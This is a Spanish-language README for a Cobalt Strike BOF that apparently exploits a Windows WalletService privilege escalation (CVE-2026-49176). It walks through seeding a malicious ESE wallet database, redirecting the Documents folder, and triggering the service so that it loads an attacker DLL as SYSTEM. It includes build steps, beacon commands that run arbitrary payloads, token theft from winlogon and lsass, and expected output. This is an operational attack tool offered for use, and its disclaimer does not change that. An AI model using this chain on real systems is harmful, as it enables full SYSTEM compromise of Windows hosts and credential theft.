
CVE-2026-49176 WalletService LPE — PoC independiente + BOF de Cobalt Strike (comando SYSTEM en sesión interactiva)
Beacon Object File (BOF) de Cobalt Strike para escalada de privilegios local a través del WalletService de Windows (CVE-2026-49176, corregido en julio de 2026).
Desde un Beacon de integridad media (usuario estándar), esta herramienta prepara una base de datos ESE maliciosa de Wallet, redirige Documentos, activa WalletService y ejecuta una línea de comandos especificada por el llamador como NT AUTHORITY\SYSTEM en el escritorio interactivo.
Solo BOF.
PoC independiente original en PowerShell: DavidCarliez/CVE-2026-49176_LPE_POC. Misma causa raíz de la vulnerabilidad; distinta entrega y lanzamiento del proceso posterior a SYSTEM.
Solo para investigación de seguridad autorizada, educación y validación defensiva.
WalletService resuelve FOLDERID_Documents mientras suplanta al llamador y luego vuelve a LocalSystem antes de abrir:
<Documents>\Wallet\wallet.db
Un usuario estándar puede sembrar esa base de datos con una devolución de llamada predeterminada definida por el usuario de ESE (PATH\payload.dll!Export), apuntar Documentos a un directorio controlado y llamar a WinRT WalletManager.RequestStoreAsync / GetItemsAsync para que el servicio cargue la DLL como SYSTEM.
Artículo: CVE-2026-49176 Exploit Development: WalletService to SYSTEM
Standard user
→ seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
→ SHSetKnownFolderPath(FOLDERID_Documents) → staging root
→ trigger WalletService (WinRT RequestStore / GetItems)
→ service opens DB as LocalSystem → LoadLibrary(callback DLL)
→ attacker code runs as SYSTEM ← LPE complete
WalletService suele usar un token SYSTEM filtrado (sin SeAssignPrimaryToken / SeImpersonate utilizables). CreateProcess* directo → 1314.
Original PoC (post-SYSTEM):
DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe
This BOF (post-SYSTEM):
DLL → steal winlogon/services/lsass token → spawn <command>
→ else CreateService(cmd /c broker) → broker → spawn <command>
wallet_callback.dll + shell_broker.exe mediante bof_pack("bbZ")result.txt| Elemento | Requisito |
|---|
bof/
├── README.md
├── entry.cpp # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│ ├── wallet_callback.c
│ └── shell_broker.c
├── bin/
│ ├── BOF/cve2026_49176.x64.o
│ └── payload/
│ ├── wallet_callback.dll
│ └── shell_broker.exe
└── resources/strip_bof.ps1
cd bof
build.bat
| Comando | Resultado |
|---|---|
build.bat / build.bat both | DLL + broker + BOF x64 |
build.bat payload | Solo DLL + broker |
build.bat clean | Eliminar artefactos |
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o
Edite las rutas de VCVARS64 en build.bat si VS no está en la ruta predeterminada.
Indicadores críticos: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (seguridad del enlazador para BOF de CS).
Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Vuelva a cargar después de cada recompilación).
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
├── wallet_callback.dll
├── shell_broker.exe
├── command.txt # UTF-16 LE
└── result.txt
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete
detail= puede ser winlogon, services, lsass, o una ruta del broker.
Los Documentos se restauran incluso ante un fallo si la redirección se realizó correctamente.
cve2026_49176.cna
└─ inline-execute(entry.o, go, bbZ)
entry.cpp
├─ stage files under %LOCALAPPDATA%
├─ Jet*A seed wallet.db
├─ SHSetKnownFolderPath(Documents)
├─ WinRT WalletManager trigger
└─ wait result.txt + restore Documents
wallet_callback.dll (WalletService, SYSTEM)
├─ steal winlogon / services / lsass token → spawn command
└─ fallback: CreateService(cmd /c shell_broker)
shell_broker.exe
└─ command.txt → CreateProcessAsUser (interactive session)
%LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + DLL de devolución de llamadaOpenProcess / APIs de token contra winlogon/lsass/servicesCVE49176_*CreateProcessAsUserW / CreateProcessWithTokenW hacia sesiones interactivas| Enlace | Descripción |
|---|---|
| DavidCarliez/CVE-2026-49176_LPE_POC | PoC LPE independiente original (PoC de investigación upstream) |
| Artículo | Artículo de investigación original |
| Etapa | PoC original | Este BOF |
|---|
| Sembrar BD ESE | wallet_ese_seed.exe | En el BOF Jet*A |
| Redirigir Documentos | documents_path.exe | En el BOF SHGet/SetKnownFolderPath |
| Activar Wallet | PowerShell WinRT | En el BOF RoGetActivationFactory |
| DLL de devolución de llamada | wallet_callback_shell.dll | wallet_callback.dll |
| PoC original | Este BOF |
|---|
| Proceso objetivo | cmd.exe codificado | Línea de comandos proporcionada por el operador |
| Método principal | Servicio temporal → shell_broker.exe → CreateProcessAsUserW | Robo de token de winlogon / services / lsass → lanzar |
| Alternativa | Ninguna | SCM + cmd.exe /c "shell_broker.exe" "result.txt" |
| Beacon | x64, integridad media (no elevado) |
| Objetivo | WalletService vulnerable (anterior al parche de julio de 2026) |
| CS | Cobalt Strike 4.x con soporte de BOF |
| Compilación | VS 2019/2022 C++ + Windows 10 SDK (esent.h, WinRT) |
| Log | Significado |
|---|
JetAddColumn: -1003 | Problema de parámetros de ESE |
error=1314 | SYSTEM filtrado; se necesita robo de token / broker |
STEAL_FAIL error=5 | No se puede abrir el proceso/token objetivo |
StartService error=32 | Infracción de uso compartido (mitigada mediante el contenedor de cmd) |
detail=all_methods | Todas las estrategias post-SYSTEM fallaron |
Enlazador Unknown symbol '??_C@_...' | Malas opciones de compilación del BOF; recompile con build.bat |